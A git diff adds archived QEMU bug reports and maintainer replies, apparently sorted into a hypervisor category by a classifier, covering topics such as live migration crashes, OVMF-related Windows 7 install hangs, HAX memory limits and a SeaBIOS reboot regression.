guest. + +QEMU cannot be expected to recognize (guest OS, guest firmware, hw config) combinations that might not work. That's not QEMU's business. + +Such (automatic or semi-automatic) config tweaks belong to the management layer. If you use virt-manager or virt-install to create your guest, and select the guest OS type correctly (or let virt-manager / virt-install recognize the guest type from a signature of the installer ISO, which I believe is implemented with the help of libosinfo), then virt-manager / virt-install will automatically disable Hyper-V enlightments for you. This is what https://bugzilla.redhat.com/show_bug.cgi?id=1185253 was about, which I referenced here earlier. + +The virt-manager change is <https://github.com/virt-manager/virt-manager/commit/cbba1c4dd3815e3981d3b315bf28d1018f838702>. + +So, the answer to your question is to use libvirt and its tools (which is recommended anyway). Thanks. + +(In general, I have no idea why large groups of users keep struggling with QEMU command lines, when the interface that libvirt provides is just so much better and easier for production use. The reason I always recommend libvirt is not because I'm an RH zealot, the reason I recommend it is that libvirt adds *actual value*, even for the individual, interactive user.) + + diff --git a/results/classifier/deepseek-1/output/hypervisor/1078892 b/results/classifier/deepseek-1/output/hypervisor/1078892 new file mode 100644 index 00000000..0b773c55 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1078892 @@ -0,0 +1,12 @@ + +qemu doesn't general protection fault if there are reserved bits set in page-directory-pointer table entries + +While working on implementing 32-bit PAE mode in a custom operating system, which I was testing in QEMU, I noticed that my OS worked correctly, but resulted in a general protection fault when booted on VMware, VirtualBox, or bochs. + +According to the Intel Architecture Manual, Volume 3A, Section 4.4.1 "PDPTE Registers", "If any of the PDPTEs sets both the P flag (bit 0) and any reserved bit, the MOV to CR instruction causes a general-protection exception (#GP(0)) and the PDPTEs are not loaded." QEMU does not emulate this behavior. + +Triaging old bug tickets ... can you still reproduce this issue with the +latest version of QEMU (version 2.9)? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/hypervisor/1217339 b/results/classifier/deepseek-1/output/hypervisor/1217339 new file mode 100644 index 00000000..b8ee3632 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1217339 @@ -0,0 +1,71 @@ + +SIGQUIT to send ACPI-shutdown to Guest + +When qemu receives SIGQUIT, it should first try to run system_powerdown (giving the guest an ACPI signal to begin the shutdown process), before ending the whole qemu process. + +At this point there is no way to do a graceful shutdown if you do not have access to the monitor and you do not use any wrapper like libvirt. + +If, for some reason SIGQUIT would not be accepted as the signal, take any free to use signal, like SIGUSR1. There should be a way to get ACPI shutdown sent to the guest. + +On 08/27/13 14:29, Lasse wrote: +> Public bug reported: +> +> When qemu receives SIGQUIT, it should first try to run system_powerdown +> (giving the guest an ACPI signal to begin the shutdown process), before +> ending the whole qemu process. + +I strongly disagree. SIGQUIT is an interactive debugging signal. It is +there so that the user running qemu can trigger a core dump from the +terminal, when he/she notices a problem. + +http://www.gnu.org/software/libc/manual/html_node/Termination-Signals.html#index-SIGQUIT-2854 + +> At this point there is no way to do a graceful shutdown if you do not +> have access to the monitor and you do not use any wrapper like libvirt. +> +> If, for some reason SIGQUIT would not be accepted as the signal, take +> any free to use signal, like SIGUSR1. There should be a way to get ACPI +> shutdown sent to the guest. + +What's wrong with SIGINT / SIGTERM? Those signals are there to request a +clean shutdown (from the terminal and from an unrelated process, +respectively). + +As far as I can see, both SIGINT and SIGTERM end up in +qemu_system_shutdown_request() on POSIX: + +termsig_handler() [os-posix.c] + qemu_system_killed() [vl.c] + qemu_system_shutdown_request() + +Laszlo + + + +Here is a short patch making Qemu to properly power off the guest when receiving a SIGHUP signal. + +I do not think that the way SIGTERM is handled should be modified as it is needed to ask Qemu to forcefully close an unresponsive guest without having to SIGKILL Qemu itself. Regarding SIGINT this is mostly a matter of user expectation (Ctrl-C result), in doubt I keep the original behavior. + +On the other side, SIGHUP has a much flexible definition making it a good candidate for the job. + +IMHO I think such feature is really useful as it allows to cleanly close all running VM without having to involve Qemu monitor in any way: + +1. Send SIGHUP to all Qemu processes so the guests power off cleanly. +2. After a few time send SIGTERM to the remaining Qemu processes to forcefully close stuck guests. +3. After a few time send SIGKILL to the remaining Qemu processes to forcefully close stuck Qemu hypervisor processes. + +I find this more convenient than having to fiddle with Qemu monitor to implement step 1 as it must currently be done. + +Please do not add patches to the bugtracker. Post them to the mailing list instead. See http://wiki.qemu-project.org/Contribute/SubmitAPatch for information how to contribute a patch. + +(and I am also not sure whether SIGHUP is the right signal for this job - the original request was also about SIGQUIT instead) + +Sorry Thomas, I was not aware of this page. I checked the CODING_STYLE file present in Qemu source before submitting this, maybe it could be useful to include this URL there. + +Meanwhile, for reference the discussion continues there: +https://lists.nongnu.org/archive/html/qemu-devel/2017-03/msg03039.html + +Regards. + +The discussion noted in comment#4 petered out in March 2017. Closing this ticket as "Invalid" (only because LP does not let me use the "Won't Fix" resolution -- the report / feature request may very well have had merit, but apparently a good enough design could not be found). + diff --git a/results/classifier/deepseek-1/output/hypervisor/1438572 b/results/classifier/deepseek-1/output/hypervisor/1438572 new file mode 100644 index 00000000..762eaace --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1438572 @@ -0,0 +1,22 @@ + +kvm does not support KVM_CAP_USER_MEMORY Please upgrade to at least kernel 2.6.29 or recent kvm-kmod (see http://sourceforge.net/projects/kvm) + +We have a machine which is having QEMU+KVM on below configuration of linux +uname -a +Linux cairotrior 2.6.18-308.13.1.el5 #1 SMP Thu Jul 26 05:45:09 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux +cat /etc/issue +Red Hat Enterprise Linux Server release 5.8 (Tikanga) +Kernel \r on an \m + + +But in another setup, we are trying on a different machine having RHEL 5.9 having higher kernel version but it still gives below error +kvm does not support KVM_CAP_USER_MEMORY Please upgrade to at least kernel 2.6.29 or recent kvm-kmod (see http://sourceforge.net/projects/kvm). +failed to initialize KVM: Invalid argument No accelerator found! + + +I don’t know if the qemu version have compatibility issues with redhat 5.9 version – need someone to check if the qemu can run on redhat 5.9 64 bit or not ? + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +This error has never existed in QEMU, only in the old qemu-kvm fork which has been obsolete for about 5 years. I'm closing this ticket. + diff --git a/results/classifier/deepseek-1/output/hypervisor/1470720 b/results/classifier/deepseek-1/output/hypervisor/1470720 new file mode 100644 index 00000000..c48e7976 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1470720 @@ -0,0 +1,54 @@ + +high IRQ-TLB generates network interruptions + + we are having a problem in our hosts, all the vm running on them suddenly, and for some seconds, lost network connectivity. + +the root cause appears to be the increase of irb-tlb from low values (less than 20) to more than >100k, that spike only last for some seconds then everything goes back to normal + +i've upload an screenshot of collectd for one hypervisor here +http://zumbi.com.ar/tmp/irq-tlb.png + + +we have hosts running precise (qemu 1.5, ovs 2.0.2, libvirt 1.2.2 and kernel 3.13) where the issue is frequent. also we have an small % of our fleet running trusty (qemu 2.0.0 ovs 2.0.2 libvirt 1.2.2 and kernel 3.16) where the problem seemed to be nonexistent until today + +issue seems to be isolated to < 10% of our hypervisors, some hypervisors had this problem every few days, others only once or twice. our vm are a black box to us we don't know what users run on them, but mostly cpu and network bound workload. +most of our guests run centos 6.5 (kernel 2.6.32) + +vm are bridged to a linuxbridge then veth wired to an ovs switch (neutron openvswitch agent setup) + + + +maybe first part is not clear, here it goes again + + this happens on some hypervisors at random times, not all hypervisors at the same time, and affects all vm on the hypervisor + +overcommit ratio on latest server i had the problem is 3.6 (3.6 vcpu for each cpu), would that be part of the problem? i see other servers that never had the problem with over commit ratios as high as 4.1 + +Seeing the same here, also happens on overbooked hypervisors. + +Just one or two hosts have this behaviour. + +We are using: +qemu-kvm 2.0.0+dfsg-2ubuntu1.25 +libvirt-bin 1.2.9 +kernel 3.13.0-92-generic + +We are using contrail as a SDN. + +It looks like it started after upgrading a bunch of packages including kernel (we came from 3.13.0-83-generic) + + +Disabling huge pages seem to help. +Strangely this should theoretically increase the issue but it so far we have not seen issues after disabling THP. +(have not seen high load spikes in a week but this might also be holiday related) + +So other people can try it out: +echo never >/sys/kernel/mm/transparent_hugepage/defrag +echo never > /sys/kernel/mm/transparent_hugepage/enabled + + + +Looking through old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/hypervisor/1529187 b/results/classifier/deepseek-1/output/hypervisor/1529187 new file mode 100644 index 00000000..eeb9aa21 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1529187 @@ -0,0 +1,44 @@ + +vfio passtrhough fails at 'No available IOMMU models' on Intel BDW-EP platform + +Environment: + ------------ + Host OS (ia32/ia32e/IA64): ia32e + Guest OS (ia32/ia32e/IA64): ia32e + Guest OS Type (Linux/Windows): linux + kvm.git Commit: da3f7ca3 + qemu.git Commit: 38a762fe + Host Kernel Version: 4.4.0-rc2 + Hardware: BDW EP (Intel(R) Xeon(R) CPU E5-2699 v4 @ 2.20GHz, Grantley-EP) + +Bug description: + -------------------------- + when create guest with vt-d assignment using vfio-pci driver, the guest can not be created. +Warning 'No available IOMMU models' + + +Reproduce steps: + ---------------- + 1. bind device to vfio-pci driver + 2. qemu-system-x86_64 -enable-kvm -m 512 -smp 2 -device vfio-pci,host=81:00.0 -net none -drive file=rhel7u2.qcow2,if=none,id=virtio-disk0 -device virtio-blk-pci,drive=virtio-disk0 + +Current result: + ---------------- + qemu-system-x86_64: -device vfio-pci,host=81:00.0: vfio: No available IOMMU models + qemu-system-x86_64: -device vfio-pci,host=81:00.0: vfio: failed to setup container for group 41 + qemu-system-x86_64: -device vfio-pci,host=81:00.0: vfio: failed to get group 41 + qemu-system-x86_64: -device vfio-pci,host=81:00.0: Device initialization failed + +Expected result: + ---------------- + guest can be created +Basic root-causing log: + ---------------------- + + + + +You've somehow managed to not load the vfio_iommu_type1 module. The vfio module will request it when loading, if the module is not available when loading, such as from an initramfs that does not include the full set of vfio modules, it will need to be loaded later manually. + +You're right. After I manually load vfio_iommu_type1, the error is gone. + diff --git a/results/classifier/deepseek-1/output/hypervisor/1590796 b/results/classifier/deepseek-1/output/hypervisor/1590796 new file mode 100644 index 00000000..a2098d54 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1590796 @@ -0,0 +1,48 @@ + +2.6.0 Windows 7 install hangs on splash screen, works ok with 2.5.1 + +Hi maintainers, + +I have tried to install Windows 7 SP1 from the ISO. The install process hangs on the windows 4 color logo with qemu 2.6.0, it works and installs fine with 2.5.1. + +This is the script I used with 2.5.1 and it works perfectly fine: + +#!/bin/sh +exec qemu-system-x86_64 \ + -enable-kvm \ + -uuid 0ec801a0-d215-464b-a658-8f43a24cb62e \ + -machine q35 \ + -cpu host \ + -smp cores=2,threads=2 \ + -drive file=disk/ovmfcode.flash,format=raw,readonly,if=pflash \ + -drive file=disk/ovmfvars.flash,format=raw,if=pflash \ + -drive file=disk/windows7.img,discard=unmap,detect-zeroes=unmap,cache=unsafe,if=virtio \ + -drive file=ISO/windows7.iso,media=cdrom \ + -drive file=ISO/virtiowin.iso,media=cdrom \ + -netdev tap,id=nic-0,ifname=tap0,vhost=on,script=no,downscript=no \ + -net nic,macaddr=52:54:00:01:00:01,netdev=nic-0,model=virtio \ + -m 4G \ + -vga qxl \ + -soundhw ac97 \ + -usbdevice tablet \ + -rtc clock=host,base=utc \ + -name "Windows 7" \ + -monitor telnet:127.0.0.1:2001,server,nowait \ + -daemonize + +The same hangs on the splash screen with 2.6.0 + +Even the following simple script behaves the same and hangs at splash screen with 2.6.0: + +#!/bin/sh +exec qemu-system-x86_64 \ + -drive file=disk/windows7.img,if=ide \ + -drive file=ISO/windows7.iso,media=cdrom \ + -name "Windows 7" \ + $@ + +The ISO is Windows 7 Ultimate english version, Service Pack 1. +I reproduced the same behaviour on Gentoo and Arch, with the Qemu versions provided on both distributions. + +Cheers + diff --git a/results/classifier/deepseek-1/output/hypervisor/1629282 b/results/classifier/deepseek-1/output/hypervisor/1629282 new file mode 100644 index 00000000..46845c5b --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1629282 @@ -0,0 +1,65 @@ + +QEMU (still) hangs on Windows 7 install + +I'm trying to install Windows 7 as guest, but the machine still hangs (more precisely, the windows icon keeps flashing, but never goes past this stage). + +I think this is a different bug from https://bugs.launchpad.net/qemu/+bug/1581936. + +Specifically, its happens when the OVMF BIOS is used, and I can't find any workaround (in the above bug, by changing the display, the installation doesn't hang). + +The most minimal commandline that reproduces the issue is (generic format): + +$QEMU_BINARY \ + -drive if=pflash,format=raw,readonly,file=$QEMU_BIOS \ + -drive if=pflash,format=raw,file=$QEMU_BIOS_TMP \ + -enable-kvm \ + -m $QEMU_MEMORY \ + -display std \ + -cpu host,kvm=off -smp 4,sockets=1,cores=4 \ + -cdrom $QEMU_WINDOWS_7_CD \ +; + +I'm using `OVMF_15214.fd` as BIOS. + +I'll assume "OVMF_15214.fd" is from <http://www.tianocore.org/ovmf/>. It's an ancient build of OVMF (older than two and half years). The binary packaged in that ZIP file isn't even a split one, it's a unified binary that is unsuitable for the command line that you've given above. + +Please either grab the most recent OVMF build from your distribution, or a bleeding edge build from <https://www.kraxel.org/repos/> (recommended). Then create a copy of the varstore template, to be used as the VM's own private variable store. Also, fix the "-display std" command line option, as in "-vga std". It will just work then. + +Below I'll specify the commands that I just re-tested. Note that I'm also renaming the QEMU_BIOS and QEMU_BIOS_TMP variables (whose names are quite inappropriate) to FIRMWARE_BINARY and VARIABLE_STORE. + + # this binary corresponds to upstream git cc9a366d3b16, + # dated "Thu Sep 29 00:34:20 2016 +0100" + QEMU_BINARY=/opt/qemu-installed/bin/qemu-system-x86_64 + + # these files are from package + # "edk2.git-ovmf-x64-0-20160929.b2144.g84bc72f.noarch", installed + # from kraxel.org + FIRMWARE_BINARY=/usr/share/edk2.git/ovmf-x64/OVMF_CODE-pure-efi.fd + VARIABLE_STORE_TEMPLATE=/usr/share/edk2.git/ovmf-x64/OVMF_VARS-pure-efi.fd + VARIABLE_STORE=/tmp/guest1-vars.fd + + # Windows 7 installer disk + QEMU_WINDOWS_7_CD=en_windows_7_enterprise_n_with_sp1_x64_dvd_u_677704.iso + + # other settings + QEMU_MEMORY=2048 + + # create empty variable store from pristine template if the varstore doesn't + # exist yet, or has been lost for some reason + if ! [ -e "$VARIABLE_STORE" ]; then + cp -v -- "$VARIABLE_STORE_TEMPLATE" "$VARIABLE_STORE" + fi + + $QEMU_BINARY \ + -drive if=pflash,format=raw,readonly,file="$FIRMWARE_BINARY" \ + -drive if=pflash,format=raw,file="$VARIABLE_STORE" \ + -enable-kvm \ + -m $QEMU_MEMORY \ + -vga std \ + -cpu host,kvm=off -smp 4,sockets=1,cores=4 \ + -cdrom $QEMU_WINDOWS_7_CD + + + +Thanks! Using the OVMF provided with the Ubuntu 16.04 packages solved the issue. + diff --git a/results/classifier/deepseek-1/output/hypervisor/1689245 b/results/classifier/deepseek-1/output/hypervisor/1689245 new file mode 100644 index 00000000..987af75f --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1689245 @@ -0,0 +1,23 @@ + +qcow2 image converted from Photon OS can't be started + +Steps to reproduce the issue: +1. Download the ovf from this place: +https://bintray.com/vmware/photon/download_file?file_path=photon-custom-hw10-1.0-62c543d.ova +2. Extract vmdk from ova file. +3. Convert from vmdk fromat to qcow2 via qeum-img +4. Launch the qcow2 image. The VM is started. But there is no any output. CPU usage is 100% + +I try this steps and meet the similar issue: +1. Deploy a VM in ESXi from https://bintray.com/vmware/photon/download_file?file_path=photon-custom-hw10-1.0-62c543d.ova +2. Copy vmdk and flat.vmdk file +3. Convert from vmdk format to raw via qeum-img(qemu-img convert -f vmdk -O raw Photon.vmdk Photon.raw) +4. Launch the qcow2 image. The VM is started. And the splash screen is showed. But then there is no any output. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Thank you and sorry for the inconvenience. + +Additional question if this is still relevant: How did you run QEMU here, i.e. which command line parameters did you use? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/hypervisor/1705717 b/results/classifier/deepseek-1/output/hypervisor/1705717 new file mode 100644 index 00000000..7acb0523 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1705717 @@ -0,0 +1,64 @@ + +Live migration fails with 'host' cpu when KVM is inserted with nested=1 + +Qemu v2.9.0 +Linux kernel 4.9.34 + +Live migration(pre-copy) being done from one physical host to another: + +Source Qemu: +sudo qemu-system-x86_64 -drive file=${IMAGE_DIR}/${IMAGE_NAME},if=virtio -m 2048 -smp 1 -net nic,model=virtio,macaddr=${MAC} -net tap,ifname=qtap0,script=no,downscript=no -vnc :1 --enable-kvm -cpu kvm64 -qmp tcp:*:4242,server,nowait + +And KVM is inserted with nested=1 on both source and destination machine. + +Migration fails with a nested specific assertion failure on destination at target/i386/kvm.c +1629 + +Migration is successful in the following cases- + +A) cpu model is 'host' and kvm is inserted without nested=1 parameter +B) If instead of 'host' cpu model, 'kvm64' is used (KVM nested=1) +C) If instead of 'host' cpu model, 'kvm64' is used (KVM nested=0) +D) Between an L0 and a guest Hypervisor L1, with 'kvm64' as CPU type (and nested=1 for L0 KVM) + +Physical host(s)- +$ lscpu +Architecture: x86_64 +CPU op-mode(s): 32-bit, 64-bit +Byte Order: Little Endian +CPU(s): 12 +On-line CPU(s) list: 0-11 +Thread(s) per core: 1 +Core(s) per socket: 6 +Socket(s): 2 +NUMA node(s): 2 +Vendor ID: GenuineIntel +CPU family: 6 +Model: 62 +Model name: Intel(R) Xeon(R) CPU E5-2620 v2 @ 2.10GHz +Stepping: 4 +CPU MHz: 1200.091 +CPU max MHz: 2600.0000 +CPU min MHz: 1200.0000 +BogoMIPS: 4203.28 +Virtualization: VT-x +L1d cache: 32K +L1i cache: 32K +L2 cache: 256K +L3 cache: 15360K +NUMA node0 CPU(s): 0-5 +NUMA node1 CPU(s): 6-11 +Flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm pcid dca sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm epb tpr_shadow vnmi flexpriority ept vpid fsgsbase smep erms xsaveopt dtherm ida arat pln pts + +Hi, + Can you please give the exact assertion failure. + +However, I'm confused - I think you're saying that your setup is that both hosts have nested enabled, but this is a migration of top level VM - correct? Does the top level VM have a guest inside it - migration with a nested guest is known not to work, however migration of a VM on a host with nested enabled should work if the guest doesn't use the nest. + + +Hello, +I could not replicate this behavior on another system. +So, please close this bug. +Apologies for the inconvenience. + +Hmm OK; but if you do hit it again please just reopen this one and give the full assert and details + diff --git a/results/classifier/deepseek-1/output/hypervisor/1712818 b/results/classifier/deepseek-1/output/hypervisor/1712818 new file mode 100644 index 00000000..fceec028 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1712818 @@ -0,0 +1,72 @@ + +live migration with storage encounter assert(!(bs->open_flags & BDRV_O_INACTIVE)) crashes + +The vm guest runs a iotest program, and i migrate it with virsh --copy-storage-all,then the qemu process on the source host happens to crash with the following message: + +kvm: block/io.c:1543: bdrv_co_pwritev: Assertion `!(bs->open_flags & 0x0800)' failed. +2017-08-24 11:43:45.919+0000: shutting down, reason=crashed + + +here is the release: +qemu 2.7 & 2.10.rc3 were tested. +libvirt 3.0.0 & 3.2.0 were tested. + +command line: +src_host:virsh migrate --verbose --live --persistent --copy-storage-all vm-core qemu+ssh://dst_host/system + +Resaon: After bdrv_inactivate_all() was called, mirror_run coroutine stills write the left dirty disk data to remote nbd server, which triggers the assertion. But I don't known how to avoid the problem, help is needed! Thanks. + +On 08/24/2017 07:59 AM, meeho yuen wrote: +> Public bug reported: +> +> The vm guest runs a iotest program, and i migrate it with virsh --copy- +> storage-all,then the qemu process on the source host happens to crash +> with the following message: +> +> kvm: block/io.c:1543: bdrv_co_pwritev: Assertion `!(bs->open_flags & 0x0800)' failed. +> 2017-08-24 11:43:45.919+0000: shutting down, reason=crashed + +> here is the release: +> qemu 2.7 & 2.10.rc3 were tested. + +The just-tagged 2.10-rc4 includes a fix that should be addressing that +issue during live migration; can you please re-test with that? (see +also https://lists.gnu.org/archive/html/qemu-devel/2017-08/msg04513.html) + +-- +Eric Blake, Principal Software Engineer +Red Hat, Inc. +1-919-301-3266 +Virtualization: qemu.org | libvirt.org + + + +Thank you,I will try it. + +hi,eblake,the problem still exists on qemu 2.10_rc4,although the possibility is less than before. + + +kvm: block/io.c:1543: bdrv_co_pwritev: Assertion `!(bs->open_flags & 0x0800)' failed. +2017-08-25 11:08:18.963+0000: shutting down, reason=crashed + + +I see the same thing: + +2017-12-28 21:36:26.837+0000: initiating migration +qemu-system-x86_64: block/io.c:1537: bdrv_co_pwritev: Assertion `!(bs->open_flags & BDRV_O_INACTIVE)' failed. +2017-12-28 21:36:40.516+0000: shutting down, reason=crashed +~ + +Running: +QEMU emulator version 2.10.1 +libvirtd (libvirt) 3.10.0 + + + +It seems that the following commit for libvirt fixed the problem. +https://github.com/libvirt/libvirt/blob/960326237764f8970250a3608e7b2b880e030715/src/qemu/qemu_migration.c + + +Looking through old bug tickets... is this still an issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/hypervisor/1715573 b/results/classifier/deepseek-1/output/hypervisor/1715573 new file mode 100644 index 00000000..e1eeee1d --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1715573 @@ -0,0 +1,15 @@ + +Android-x86_64 guest - "Could not disable RealTimeClock events (20160831/evxfevnt-267)"; UI sluggish, ACPI doesn't work with QEMU 2.10.0 + +I'm running a custom-built Android-x86_64 guest in an Arch Linux host with the 4.12.10 kernel. + +Following the latest Arch Linux upgrade to QEMU 2.10.0-1, upon booting the virtual machine, I get the error mentioned in the title. Afterwards, the virtual machine becomes slower and slower. The ACPI functions (the libvirt's Shutdown button, for example) don't work. + +When I downgrade to QEMU 2.9.0-3 everything works fine once again. + +This is maybe a duplicate of https://bugs.launchpad.net/qemu/+bug/1714331 ... could you please try a newer version of the OVMF firmware (if you're using it)? + +It works with a newer OVMF version! + +Thank you. + diff --git a/results/classifier/deepseek-1/output/hypervisor/1723488 b/results/classifier/deepseek-1/output/hypervisor/1723488 new file mode 100644 index 00000000..a66d1e89 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1723488 @@ -0,0 +1,74 @@ + +HAX on Windows, memory lease error + +Today I tried to use QEMU on Windows 8.1 x64 with Intel HAX. + +Command line: qemu-system-x86_64.exe -accel hax -m 8000 -hda /opt/disk/ubuntu.img -cdrom /opt/iso/ubuntu-17.04-server-amd64.iso + +Host machine has 32Gb physical memory, I got error: + +HAX is working and emulator runs in fast virt mode. +** +ERROR:A:/msys64/home/admin/git/qemu/target/i386/hax-mem.c:210:hax_process_section: assertion failed: (size <= UINT32_MAX) + +When using -m 4000 (and below) everything is fine. But if I try use >4000 and <8000 I get crash with errors: + +HAX is working and emulator runs in fast virt mode. +hax_transaction_commit: Failed mapping @0x0000000100000000+0x78800000 flags 00 +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request + +It seems that HAX not working at all: + +qemu-system-x86_64.exe -accel hax -fda /opt/iso/freedos.img +(with image of boot floppy from official FreeDOS site) + +Crash on loading with: + +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request +VCPU shutdown request + +qemu-system-x86_64.exe -accel hax -cdrom /opt/iso/ubuntu-17.04-server-amd64.iso, hang on: + +Booting from DVD/CD... + +ISOLINUX 6.03 20170128 ETCD + +See https://software.intel.com/en-us/android/articles/installation-instructions-for-intel-hardware-accelerated-execution-manager-windows: + +"QEMU or Android Emulator will fail to launch if the guest RAM size (specified with the -m option for QEMU or -memory for Android Emulator) exceeds 4095MB." + +HAX is limited to a 32 bit memory size. There is no way to change that without breaking compatibility. + +The main problem is that HAX currently doesn't work properly at all on my both Windows 8.1 and Mac OS X 10.12.6 machines. +I can give other examples if it is necessary + +Looking through old bug tickets... is this still an issue with the latest version of QEMU? Or could we close this ticket nowadays? + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/hypervisor/1723984 b/results/classifier/deepseek-1/output/hypervisor/1723984 new file mode 100644 index 00000000..5e253914 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1723984 @@ -0,0 +1,47 @@ + +ID_MMFR0 has an invalid value on aarch64 cpu (A57, A53) + +The ID_MMFR0 register, accessed from aarch64 state as an invalid value: +- ARM ARM v8 documentation (D7.2 General system control registers) described bits AuxReg[23:20] to be + "In ARMv8-A the only permitted value is 0010" +- Cortex A53 and Cortex A57 TRM describe the value to be 0x10201105, so AuxReg[23:20] is 0010 too +- in QEMU target/arm/cpu64.c, the relevant value is + cpu->id_mmfr0 = 0x10101105; + +The 1 should be changed to 2. + +Spotted & Tested on the following qemu revision: + +commit 48ae1f60d8c9a770e6da64407984d84e25253c69 +Merge: 78b62d3 b867eaa +Author: Peter Maydell <email address hidden> +Date: Mon Oct 16 14:28:13 2017 +0100 + +QEMU's behaviour in this case is matching the hardware. We claim to model an r1p0 (based on the MIDR value we report), and for the r1p0 the A53 and A57 reported the ID_MMFR0 as 0x10101105 -- this is documented in the TRMs for that rev of the CPUs. r1p3 reports the 0x10201105 you describe, but this isn't the rev of the CPU we claim to be. + +In theory we could bump the rXpX but I'm not sure there's much point unless it's causing a real problem (we'd need to check what else might have changed between the two revisions). + + +Oh I see. I didn't check older TRM since the ARM ARM was quite strict on the value, sorry. +I'll read the MIDR to have a more robust code then. Thank you. + +You shouldn't need to read the MIDR at all. + +There are two sensible strategies for software I think: + + (1) trust the architectural statement that v8 implies that the AIFSR and ADFSR both exist -- AIUI both QEMU and the hardware implementations that report 0001 in this MMFR0 field do actually implement those registers, so this is safe. + + (2) read and pay attention to the AuxReg field, by handling 0001 as "only Auxiliary Control Register is supported, AIFSR and ADFSR are not supported". This will work fine too -- on implementations that report 0001 you may be not using the AIFSR/ADFSR but that's ok because on those implementations they only RAZ/WI anyhow so you couldn't do anything interesting with them anyway. + +If your code is genuinely v8 only then (1) is easiest. If you also need to support ARMv7 then (2) is best, because 0001 is a permitted value in ID_MMFR0 for an ARMv7 implementation, so you need to handle it regardless of the A53/A57 behaviour. + +Neither approach requires detecting and special casing A53/A57 revisions via the MIDR. + + +I see your point. Thank you for the advice. I'm doing some low-level check to be sure to be on a known platform, so this midr based code is very localized. For the "core" of the kernel, I'm mostly using (1) as access to MMU registers are localized in armv7/armv8 specialized sub-directories. + + + +Thanks for the update -- I'm going to close this bug. (Incidentally, my experience with checks of the "insist we're on a known platform with ID register values we recognize" kind is that they're more trouble than they're worth, especially if you plan running the software in an emulator.) + + diff --git a/results/classifier/deepseek-1/output/hypervisor/1747056 b/results/classifier/deepseek-1/output/hypervisor/1747056 new file mode 100644 index 00000000..558b7eb0 --- /dev/null +++ b/results/classifier/deepseek-1/output/hypervisor/1747056 @@ -0,0 +1,70 @@ + +FreeDOS / MS-Dos / Windows 3.11 cannot perform reboot with 'isapc' machine + +I was installing MS-Dos 6.22 + Windows 3.11 in preparation for running Microsoft Bob, and noticed that when they try to perform a reboot, they just get stuck. The console cursor stays flashing on/off, but the DOS prompt no longer responds to input. + +It is fairly easy to reproduce, even FreeDOS is impacted - download the FreeDOS bootable CDROM image, then + +$ qemu-img create demo.img 100MB + +$ qemu-system-x86_64 -machine isapc -cdrom ~/Downloads/FD12CD.iso -hda demo.img -monitor stdio + +Wait for the installer to startup, and then in the monitor console run + + sendkey ctrl-alt-delete + +It will fail to reboot + +Testing shows this is a regression from QEMU 2.8.0 onwards, and git bisect further narrowed it down to a SEABIOS update + +commit 6e99f5741ff1b408ea76e6caf2bd4f76df4060e9 (HEAD, tag: pull-seabios-20161027-2, tag: pull-seabios-20161027-1, refs/bisect/bad) +Author: Gerd Hoffmann <email address hidden> +Date: Thu Oct 27 16:42:28 2016 +0200 + + seabios: update to 1.10.0 release. + +Note that this seems particular to the "isapc" machine type - with the "pc" machine type, reboot still works + +I bisected seabios and found this seabios change to be the cause of the problem + +commit b837e68d5a6c1a5945513f1995875445a1594c8a (refs/bisect/bad) +Author: Kevin O'Connor <email address hidden> +Date: Mon Nov 9 15:00:19 2015 -0500 + + resume: Make KVM soft reboot loop detection more flexible + + Move the check for soft reboot loops from resume.c to shadow.c and + directly check for the case where the copy of the BIOS in flash + appears to be a memory alias instead. This prevents a hang if an + external reboot request occurs during the BIOS memcpy. + + Signed-off-by: Kevin O'Connor <email address hidden> + + +We need to pull in a SeaBIOS update with this fix applied to resolve this + +commit 42812e062a77b27b0544c8e0d46d206afc3b2fae +Author: Kevin O'Connor <email address hidden> +Date: Thu Feb 22 20:29:27 2018 -0500 + + shadow: Don't invoke a shutdown on reboot unless in a reboot loop + + Old versions of KVM would map the same writable copy of the BIOS at + both 0x000f0000 and 0xffff0000. 